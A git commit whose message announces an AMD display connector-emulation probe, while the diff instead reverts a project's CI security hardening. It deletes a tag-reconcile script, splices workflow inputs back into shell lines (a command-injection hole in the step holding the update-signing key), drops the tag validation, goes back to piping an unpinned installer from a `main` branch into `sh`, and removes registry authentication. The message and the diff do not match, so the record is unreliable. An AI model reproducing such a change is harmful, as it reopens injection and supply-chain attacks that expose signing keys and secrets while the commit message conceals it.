feat(tools/display-disturb): adl-emul — AMD connector-emulation probe (software HPD dummy)

The standby-sink stall program's §3 dead-end list marked ADL EmulationMode 'likely Pro-gated' on field hearsay, with 'probe once, log rc' as the owed falsification — never run. Three RX 9070 XT field cases later (ASUS VG32VQ1B/DP, Odyssey G60SD/DP, LG UltraGear 32GS95UE/HDMI), this is that probe, shippable to reporters: read-only caps/board-layout/connection-state walk by default, --lock pins the live EDID + ADL_EMUL_MODE_ALWAYS on occupied connectors (the software HPD-holding dummy), --unlock restores. Every call prints the bench's epoch_ms correlation line with the decoded ADL rc — ADL_ERR_NOT_SUPPORTED(-8) vs ADL_OK on consumer Adrenalin is the Pro-gating answer, and a --lock run during a stream with the sink asleep is the direct A/B for the metronomic stall class. atiadlxx.dll is bound dynamically (absent = clean exit 2), structs mirror adl_structures.h verbatim, and the probe touches only connectors the board-layout walk enumerated. Gates: check/clippy -D warnings (msvc cross-target) + fmt clean; native stub unaffected.
2026-08-04 23:30:51 +02:00
194 changed files with 1729 additions and 16716 deletions
@@ -1,68 +0,0 @@
-#!/usr/bin/env bash
-# Assert that a builder image's :latest is the SAME manifest as its content key, and
-# re-point it when it isn't.
-#
-# This is what we do instead of pinning consumers by @sha256: digest
-# (security-review-2026-08-05, H-6 — see the reasoning at the top of docker.yml). The
-# content key is a hash of the ci/ tree, so "which image should :latest be?" has an
-# answer derivable from the commit alone. Checking it on every run turns :latest from a
-# tag someone remembered to move into a function of the tree.
-#
-# Two different things make them diverge and neither is distinguishable from here:
-#
-#   - Someone overwrote :latest out of band. Post-fix that needs the push credential,
-#     but it is exactly the H-6 attack and it must not pass silently.
-#   - ci/ was reverted. The older key is already a cache hit, so nothing rebuilds and
-#     nothing re-points :latest — it stays on the newer build forever while every
-#     consumer pulls a builder that does not match the tree it is building. That bug
-#     predates this script.
-#
-# Both are repaired identically, so: repair, and shout. Failing the build instead would
-# turn a legitimate revert into a red main with no way forward.
-#
-# Reads go to the anonymous port, the single write to the authenticated one.
-set -euo pipefail
-
-IMAGE="${1:?usage: reconcile-latest.sh <image> <content-key>}"
-KEY="${2:?usage: reconcile-latest.sh <image> <content-key>}"
-: "${CI_REGISTRY:?CI_REGISTRY not set}"
-: "${CI_REGISTRY_PUSH:?CI_REGISTRY_PUSH not set}"
-: "${CI_REGISTRY_PASSWORD:?CI_REGISTRY_PASSWORD not set}"
-
-ACCEPT='Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, application/vnd.docker.distribution.manifest.list.v2+json'
-
-# Digest of a tag, or empty if the tag does not exist. Never fails the script itself —
-# "missing" is a state this has to reason about, not an error to abort on.
-digest_of() {
-  curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$1" 2>/dev/null \
-    | tr -d '\r' | sed -n 's/^[Dd]ocker-[Cc]ontent-[Dd]igest: //p' || true
-}
-
-key_digest=$(digest_of "$KEY")
-latest_digest=$(digest_of latest)
-
-if [ -z "$key_digest" ]; then
-  echo "::error::$IMAGE:$KEY has no manifest — the build or push above did not land"
-  exit 1
-fi
-
-if [ "$key_digest" = "$latest_digest" ]; then
-  echo "$IMAGE:latest == :$KEY ($key_digest)"
-  exit 0
-fi
-
-echo "::warning::$IMAGE:latest did not match its content key :$KEY — re-pointing it. If ci/ was not just reverted, someone overwrote this tag out of band: check the registry access log on home-ci-core."
-echo "  was:    ${latest_digest:-<no :latest tag>}"
-echo "  wanted: $key_digest  (:$KEY)"
-
-tmp=$(mktemp)
-trap 'rm -f "$tmp"' EXIT
-media_type=$(curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" \
-  | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
-curl -sf -H "$ACCEPT" -o "$tmp" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY"
-curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $media_type" \
-  --data-binary @"$tmp" "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/latest"
-
-now=$(digest_of latest)
-[ "$now" = "$key_digest" ] || { echo "::error::re-point failed: :latest is $now"; exit 1; }
-echo "$IMAGE:latest re-pointed to $key_digest"
@@ -41,23 +41,9 @@ jobs:
        env:
          REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
          UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }}
-          # Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion
-          # is a raw textual substitution performed BEFORE the shell sees the line, so a
-          # workflow_dispatch input containing shell syntax executes as this step — and this is the
-          # step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an
-          # update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data.
-          INPUT_TAG: ${{ inputs.tag }}
        run: |
          set -euo pipefail
-          TAG="$INPUT_TAG"
-          # Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`.
-          case "$TAG" in
-            v[0-9]*) ;;
-            *) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;;
-          esac
-          case "$TAG" in
-            *[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;;
-          esac
+          TAG="${{ inputs.tag }}"
          case "$TAG" in
            *-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;;
          esac
@@ -81,7 +67,4 @@ jobs:
          GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
          DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }}
          ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }}
-          # Same reasoning as the publish step above: the input is data in the environment, never
-          # text spliced into the command line.
-          INPUT_TAG: ${{ inputs.tag }}
-        run: bash scripts/ci/discord-announce.sh "$INPUT_TAG"
+        run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}"
@@ -29,9 +29,4 @@ jobs:
    steps:
      - uses: actions/checkout@v4
      - name: Tier-3 GPU stream benchmark
-        # Through the environment, not interpolated into the command line: a `${{ }}` expansion is
-        # substituted before the shell parses the line, so an input carrying shell syntax would run
-        # as this step (2026-08-05 review H-6).
-        env:
-          BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }}
-        run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12
+        run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12
@@ -46,10 +46,7 @@ env:
  REGISTRY: git.unom.io
  OWNER: unom
  PACKAGE: punktfunk-decky        # generic-registry package name
-  # The plugin's ON-DISK dir == the zip's top-level dir. Deliberately NOT plugin.json "name"
-  # (that is the brand-cased label Decky lists, and it locates a plugin by matching it, not by
-  # the folder) — see clients/decky/scripts/package.sh.
-  PLUGIN: punktfunk
+  PLUGIN: punktfunk               # plugin.json "name" == zip top-level dir

 jobs:
  build-publish:
@@ -3,18 +3,13 @@
 # Two very different image families now:
 #
 #   BUILDER images (punktfunk-rust-ci{,-noble,-arm64cross}, punktfunk-fedora{,44}-rpm)
-#     live on the LAN registry (home-ci-core — unom/infra runners/ci-core/) and are
-#     CONTENT-KEYED: the tag is a hash of what they are built from (the ci/ tree, +
-#     rust-toolchain.toml for the cross image), and a build only happens when that key
-#     has no manifest yet. A push that doesn't touch ci/ costs one curl per image
-#     (~seconds), pushes nothing over the WAN, and mints no per-SHA tag debris on the
-#     runners — the failure mode that filled the fleet's disks. `:latest` is re-pushed
-#     alongside every new key and is what the consuming workflows pin.
-#
-#     READS come from :5010 and need no credential. WRITES go to :5011 and need
-#     CI_REGISTRY_PASSWORD. Same store behind both — a registry keys by repository name,
-#     not by the host:port the client used — so an image pushed to :5011 is the same
-#     image every consumer pulls from :5010.
+#     live on the LAN registry (home-ci-core, 192.168.1.58:5010 — unom/infra
+#     runners/ci-core/) and are CONTENT-KEYED: the tag is a hash of what they are built
+#     from (the ci/ tree, + rust-toolchain.toml for the cross image), and a build only
+#     happens when that key has no manifest yet. A push that doesn't touch ci/ costs one
+#     curl per image (~seconds), pushes nothing over the WAN, and mints no per-SHA tag
+#     debris on the runners — the failure mode that filled the fleet's disks. `:latest`
+#     is re-pushed alongside every new key and is what the consuming workflows pin.
 #
 #   APP images (punktfunk-web, punktfunk-docs) are deployables: they keep going to the
 #     Gitea registry (git.unom.io) with :latest + :sha-<8> (+ :vX.Y.Z on tags), because
@@ -22,38 +17,8 @@
 #
 # Host and clients are intentionally NOT containerized (see CLAUDE.md "What's left").
 #
-# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images).
-# CI_REGISTRY_PASSWORD: repo Actions secret, the LAN registry's push credential for user
-# `ci`. Generated on ci-core into /srv/ci/stack/registry-secret; rotate in both places.
-#
-# --- security-review-2026-08-05 H-6, FIXED 2026-08-05 -------------------------------
-# The registry used to accept anonymous pushes from any LAN peer, and every
-# secret-bearing job in this repo runs INSIDE an image pulled from it. Attacker
-# position #1 of the project's own threat model did not need to break any signing
-# logic: push one tag, and the next android.yml run executes their code in the same job
-# that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape for
-# rpm.yml (RPM_GPG_PRIVATE_KEY) and android-promote.yml (SERVICE_ACCOUNT_JSON).
-#
-# The infra half is done (unom/infra runners/ci-core/): :5010 serves GET/HEAD only and
-# refuses everything else with 405, :5011 demands basic auth on every request. The half
-# in this file is done below: pushes and release-tag manifest PUTs authenticate.
-#
-# ⚠ On the second half as the review originally worded it — "pin consumers by @sha256:
-# digest". We deliberately do something else, because after authentication the digest
-# pin no longer buys what it was meant to buy. The set of people who can overwrite a tag
-# is now exactly the set who can push to main and edit a pinned digest in this very
-# file: a pin defends against nobody it did not already trust, while costing a
-# two-commit dance on every ci/ change (~3x a month) during which consumers silently run
-# a builder image that predates the ci/ change they are testing.
-#
-# What actually closes the residual gap — a tag quietly overwritten out of band — is
-# making :latest a CHECKED function of the tree instead of a tag someone remembered to
-# move. The "Reconcile :latest" step below asserts on every run that :latest and
-# :ck-$KEY are the same digest, repairs it when they are not, and says so loudly. That
-# catches an out-of-band overwrite on the next push to main, needs no churn, and fixes
-# a real pre-existing bug on the side: reverting ci/ used to leave :latest pointing at
-# the newer build forever. Revisit inline digest pins if the push credential ever leaves
-# the maintainer trust set.
+# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only —
+# the LAN registry is unauthenticated inside the LAN).
 #
 # Bootstrap note: consuming workflows pull <LAN>/punktfunk-rust-ci:latest, so the LAN
 # registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry
@@ -77,10 +42,7 @@ on:
 env:
  REGISTRY: git.unom.io
  OWNER: unom
-  # Read port (anonymous, GET/HEAD only) and write port (basic auth). Two doors onto
-  # one store; see the header.
  CI_REGISTRY: 192.168.1.58:5010
-  CI_REGISTRY_PUSH: 192.168.1.58:5011

 jobs:
  builders:
@@ -136,40 +98,21 @@ jobs:
            echo "hit=false" >> "$GITHUB_OUTPUT"
          fi

-      # Tagged for the WRITE port: :5010 refuses a push outright, so a tag that names it
-      # can only fail. Consumers still pull the identical image from :5010.
      - name: Build
        if: steps.exists.outputs.hit == 'false'
        # --pull is cheap now: base images come through the ci-core pull-through mirror.
        run: |
          docker build --pull ${{ matrix.buildargs }} \
            -f "${{ matrix.dockerfile }}" \
-            -t "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY" \
-            -t "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest" \
+            -t "$CI_REGISTRY/${{ matrix.image }}:$KEY" \
+            -t "$CI_REGISTRY/${{ matrix.image }}:latest" \
            ci

-      - name: Log in to the LAN registry
-        run: |
-          echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin
-        env:
-          CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
-
      - name: Push
        if: steps.exists.outputs.hit == 'false'
        run: |
-          docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY"
-          docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest"
-
-      # :latest must be whatever ci/ says it is, on every run — not only on the runs that
-      # happened to build. Two things break that: an out-of-band overwrite (the H-6
-      # attack, now only reachable by someone holding the push credential), and a plain
-      # revert of ci/, which leaves :latest on the newer build because the older key is
-      # already a cache hit and nothing re-points it. Both look identical from here and
-      # both are repaired the same way, so repair and shout rather than fail the build.
-      - name: Reconcile :latest with the content key
-        run: .gitea/scripts/reconcile-latest.sh "${{ matrix.image }}" "$KEY"
-        env:
-          CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
+          docker push "$CI_REGISTRY/${{ matrix.image }}:$KEY"
+          docker push "$CI_REGISTRY/${{ matrix.image }}:latest"

      # A release pins reproducible builder images without any rebuild: copy the key's
      # manifest to a vX.Y.Z tag via the registry API (no image bytes move).
@@ -181,19 +124,8 @@ jobs:
            | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
          curl -sf -H "$ACCEPT" -o /tmp/manifest.json \
            "http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$KEY"
-          curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \
-            --data-binary @/tmp/manifest.json \
-            "http://$CI_REGISTRY_PUSH/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME"
-        env:
-          CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
-
-      # Today the job container is ephemeral (the ubuntu-24.04 label is a docker://
-      # image), so the credential docker login wrote would die with it anyway. Don't
-      # make that a load-bearing assumption about a runner label somebody may change to
-      # a host runner later.
-      - name: Log out of the LAN registry
-        if: always()
-        run: docker logout "$CI_REGISTRY_PUSH" || true
+          curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \
+            "http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME"

  # The aarch64 CROSS builder — a SEPARATE job because it is `FROM punktfunk-rust-ci:latest`
  # (the LAN copy) and so must not race the matrix entry that publishes that base. Consumed
@@ -232,26 +164,15 @@ jobs:
        run: |
          docker build --pull \
            -f ci/rust-ci-arm64cross.Dockerfile \
-            -t "$CI_REGISTRY_PUSH/$IMAGE:$KEY" \
-            -t "$CI_REGISTRY_PUSH/$IMAGE:latest" \
+            -t "$CI_REGISTRY/$IMAGE:$KEY" \
+            -t "$CI_REGISTRY/$IMAGE:latest" \
            .

-      - name: Log in to the LAN registry
-        run: |
-          echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin
-        env:
-          CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
-
      - name: Push
        if: steps.exists.outputs.hit == 'false'
        run: |
-          docker push "$CI_REGISTRY_PUSH/$IMAGE:$KEY"
-          docker push "$CI_REGISTRY_PUSH/$IMAGE:latest"
-
-      - name: Reconcile :latest with the content key
-        run: .gitea/scripts/reconcile-latest.sh "$IMAGE" "$KEY"
-        env:
-          CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
+          docker push "$CI_REGISTRY/$IMAGE:$KEY"
+          docker push "$CI_REGISTRY/$IMAGE:latest"

      - name: Tag for release
        if: startsWith(github.ref, 'refs/tags/v')
@@ -261,15 +182,8 @@ jobs:
            | tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
          curl -sf -H "$ACCEPT" -o /tmp/manifest.json \
            "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY"
-          curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \
-            --data-binary @/tmp/manifest.json \
-            "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/$GITHUB_REF_NAME"
-        env:
-          CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
-
-      - name: Log out of the LAN registry
-        if: always()
-        run: docker logout "$CI_REGISTRY_PUSH" || true
+          curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \
+            "http://$CI_REGISTRY/v2/$IMAGE/manifests/$GITHUB_REF_NAME"

  # Deployable app images — unchanged flow, Gitea registry, per-SHA + release tags.
  apps:
@@ -38,18 +38,10 @@ jobs:
        with:
          fetch-depth: 0
      # Pinned syft (keep in sync with the version validated against this repo; bump deliberately).
-      #
-      # The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped
-      # into a shell, so whatever that branch happened to say at job time ran here, with the job's
-      # environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes
-      # the whole step reproducible: bump the tag in both places together.
      - name: Install syft
-        env:
-          SYFT_VERSION: v1.49.0
        run: |
-          set -euo pipefail
-          curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \
-            | sh -s -- -b /usr/local/bin "$SYFT_VERSION"
+          curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \
+            | sh -s -- -b /usr/local/bin v1.49.0
      - name: Generate SBOM
        run: |
          git config --global --add safe.directory "$PWD"
@@ -947,7 +947,7 @@ dependencies = [

 [[package]]
 name = "cursor-probe"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "pf-capture",
@@ -1036,7 +1036,7 @@ dependencies = [

 [[package]]
 name = "display-disturb"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "windows 0.62.2 (registry+https://github.com/rust-lang/crates.io-index)",
 ]
@@ -2221,7 +2221,7 @@ dependencies = [

 [[package]]
 name = "latency-probe"
-version = "0.25.0"
+version = "0.24.0"

 [[package]]
 name = "lazy_static"
@@ -2326,7 +2326,7 @@ dependencies = [

 [[package]]
 name = "libvpl-sys"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "bindgen",
 "cmake",
@@ -2361,7 +2361,7 @@ checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad"

 [[package]]
 name = "loss-harness"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "punktfunk-core",
 ]
@@ -2850,7 +2850,7 @@ checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220"

 [[package]]
 name = "pf-capture"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ashpd",
@@ -2871,7 +2871,7 @@ dependencies = [

 [[package]]
 name = "pf-client-core"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ash",
@@ -2893,12 +2893,11 @@ dependencies = [
 "ureq",
 "wasapi",
 "windows 0.62.2 (git+https://github.com/microsoft/windows-rs?rev=acb5a1a7441033d9312b16842af02eb0c2b403dc)",
- "winreg",
 ]

 [[package]]
 name = "pf-clipboard"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ashpd",
@@ -2916,7 +2915,7 @@ dependencies = [

 [[package]]
 name = "pf-console-ui"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ash",
@@ -2937,7 +2936,7 @@ dependencies = [

 [[package]]
 name = "pf-encode"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ash",
@@ -2961,7 +2960,7 @@ dependencies = [

 [[package]]
 name = "pf-ffvk"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "ash",
 "bindgen",
@@ -2970,7 +2969,7 @@ dependencies = [

 [[package]]
 name = "pf-frame"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "libc",
@@ -2982,7 +2981,7 @@ dependencies = [

 [[package]]
 name = "pf-gpu"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "pf-host-config",
@@ -2996,11 +2995,11 @@ dependencies = [

 [[package]]
 name = "pf-host-config"
-version = "0.25.0"
+version = "0.24.0"

 [[package]]
 name = "pf-inject"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ashpd",
@@ -3029,14 +3028,14 @@ dependencies = [

 [[package]]
 name = "pf-paths"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "tracing",
 ]

 [[package]]
 name = "pf-presenter"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ash",
@@ -3051,7 +3050,7 @@ dependencies = [

 [[package]]
 name = "pf-update"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "serde",
 "serde_json",
@@ -3059,7 +3058,7 @@ dependencies = [

 [[package]]
 name = "pf-update-check"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "base64",
@@ -3071,7 +3070,7 @@ dependencies = [

 [[package]]
 name = "pf-vdisplay"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ashpd",
@@ -3104,7 +3103,7 @@ dependencies = [

 [[package]]
 name = "pf-win-display"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "pf-paths",
@@ -3116,7 +3115,7 @@ dependencies = [

 [[package]]
 name = "pf-zerocopy"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ash",
@@ -3324,7 +3323,7 @@ dependencies = [

 [[package]]
 name = "punktfunk-cli"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "pf-client-core",
 "punktfunk-core",
@@ -3335,7 +3334,7 @@ dependencies = [

 [[package]]
 name = "punktfunk-client-android"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "android_logger",
 "jni",
@@ -3347,13 +3346,11 @@ dependencies = [
 "opus",
 "punktfunk-core",
 "tracing",
- "uac-host",
- "usbfs-iso",
 ]

 [[package]]
 name = "punktfunk-client-linux"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "async-channel",
@@ -3370,7 +3367,7 @@ dependencies = [

 [[package]]
 name = "punktfunk-client-session"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "pf-client-core",
@@ -3385,7 +3382,7 @@ dependencies = [

 [[package]]
 name = "punktfunk-client-windows"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "async-channel",
 "ffmpeg-next",
@@ -3405,7 +3402,7 @@ dependencies = [

 [[package]]
 name = "punktfunk-core"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "aes-gcm",
 "bytes",
@@ -3437,7 +3434,7 @@ dependencies = [

 [[package]]
 name = "punktfunk-host"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "aes",
 "aes-gcm",
@@ -3522,7 +3519,7 @@ dependencies = [

 [[package]]
 name = "punktfunk-probe"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "mdns-sd",
@@ -3536,7 +3533,7 @@ dependencies = [

 [[package]]
 name = "punktfunk-tray"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "anyhow",
 "ksni",
@@ -3559,7 +3556,7 @@ checksum = "d55d956fa96f5ec02be2e13af0e20391a5aa83d6a074e3ad368959d0fab299ea"

 [[package]]
 name = "pyrowave-sys"
-version = "0.25.0"
+version = "0.24.0"
 dependencies = [
 "bindgen",
 "cmake",
@@ -4988,14 +4985,6 @@ version = "1.20.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"

-[[package]]
-name = "uac-host"
-version = "0.1.0"
-source = "git+https://github.com/unom-io/usbfs-iso?rev=f3de1fd62cec271d07f45664dc464f23e423e721#f3de1fd62cec271d07f45664dc464f23e423e721"
-dependencies = [
- "usbfs-iso",
-]
-
 [[package]]
 name = "uds_windows"
 version = "1.2.1"
@@ -5075,14 +5064,6 @@ dependencies = [
 "serde",
 ]

-[[package]]
-name = "usbfs-iso"
-version = "0.1.0"
-source = "git+https://github.com/unom-io/usbfs-iso?rev=f3de1fd62cec271d07f45664dc464f23e423e721#f3de1fd62cec271d07f45664dc464f23e423e721"
-dependencies = [
- "libc",
-]
-
 [[package]]
 name = "usbip-sim"
 version = "0.8.0"
@@ -53,7 +53,7 @@ exclude = [
 ndk = { path = "clients/android/native/vendor/ndk" }

 [workspace.package]
-version = "0.25.0"
+version = "0.24.0"
 edition = "2021"
 rust-version = "1.82"
 license = "MIT OR Apache-2.0"
@@ -10,7 +10,7 @@
      "name": "MIT OR Apache-2.0",
      "identifier": "MIT OR Apache-2.0"
    },
-    "version": "0.24.0"
+    "version": "0.23.0"
  },
  "paths": {
    "/api/v1/clients": {
@@ -1052,7 +1052,7 @@
          "library"
        ],
        "summary": "Fetch one cover-art image for a library entry",
-        "description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,\nand a library plugin's claimed-store entries) serves its local art file. A Steam title falls back\nto the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the\nuser's Steam client already shows for it), the public Steam CDN's flat URL convention second\n(newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case\nthis 404s and the client falls through to its next art candidate).",
+        "description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —\nit's what the user's Steam client already shows for it), the public Steam CDN's flat URL\nconvention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host\ncan't predict, in which case this 404s and the client falls through to its next art candidate).\nOnly Steam ids are backed today; any other store 404s.",
        "operationId": "getLibraryArt",
        "parameters": [
          {
@@ -1307,7 +1307,7 @@
          "library"
        ],
        "summary": "Replace a provider's library entries (declarative reconcile)",
-        "description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.\n\n`?store=` additionally **claims** that store for the provider: its entries then surface with\ndeterministic `<store>:<external_id>` ids and the store's own badge, instead of opaque\n`custom:<id>` ones — which is what lets a library plugin reproduce the entries an in-host scanner\nused to produce, right down to the GameStream app ids and client-side art caches. One provider\nper store; a second claimant gets 409. While a claim is held the matching built-in scanner is\nsuppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty\nreconcile (a store can legitimately have zero installed titles).",
+        "description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.",
        "operationId": "reconcileProviderEntries",
        "parameters": [
          {
@@ -1318,15 +1318,6 @@
            "schema": {
              "type": "string"
            }
-          },
-          {
-            "name": "store",
-            "in": "query",
-            "description": "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)",
-            "required": false,
-            "schema": {
-              "type": "string"
-            }
          }
        ],
        "requestBody": {
@@ -1357,7 +1348,7 @@
            }
          },
          "400": {
-            "description": "Invalid provider id, store id, or payload",
+            "description": "Invalid provider id or payload",
            "content": {
              "application/json": {
                "schema": {
@@ -1376,16 +1367,6 @@
              }
            }
          },
-          "409": {
-            "description": "That store is already claimed by another provider",
-            "content": {
-              "application/json": {
-                "schema": {
-                  "$ref": "#/components/schemas/ApiError"
-                }
-              }
-            }
-          },
          "500": {
            "description": "Could not persist the catalog",
            "content": {
@@ -4178,8 +4159,7 @@
          "tier",
          "platforms",
          "compatible",
-          "update_available",
-          "categories"
+          "update_available"
        ],
        "properties": {
          "author": {
@@ -4192,13 +4172,6 @@
            ],
            "description": "A revocation covering the catalogued version — do not offer this without shouting."
          },
-          "categories": {
-            "type": "array",
-            "items": {
-              "type": "string"
-            },
-            "description": "What kind of plugin this is — the console filters Browse by these, and the Game sources\nsurface's \"Add a source\" rail shows exactly the `library` ones (design D5/D6)."
-          },
          "compatible": {
            "type": "boolean",
            "description": "Can this host install it?"
@@ -4206,13 +4179,6 @@
          "description": {
            "type": "string"
          },
-          "detected": {
-            "type": [
-              "boolean",
-              "null"
-            ],
-            "description": "Whether the launcher this plugin scans looks **installed on this host** (design D8), from the\nindex's own existence probes. `null` = the entry declares no probes for this platform, which\nthe console renders as \"unknown\" rather than \"not installed\"."
-          },
          "homepage": {
            "type": [
              "string",
@@ -4399,17 +4365,6 @@
                ],
                "description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)."
              },
-              "role": {
-                "$ref": "#/components/schemas/GameRole",
-                "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]."
-              },
-              "store": {
-                "type": [
-                  "string",
-                  "null"
-                ],
-                "description": "The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.\n`None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.\n\nMaterialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an\nentry is self-describing: its id and its `store` badge derive from the entry alone, and stay\ncorrect even while the claim map is being rewritten."
-              },
              "title": {
                "type": "string"
              }
@@ -4454,10 +4409,6 @@
                },
                "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config."
              },
-              "role": {
-                "$ref": "#/components/schemas/GameRole",
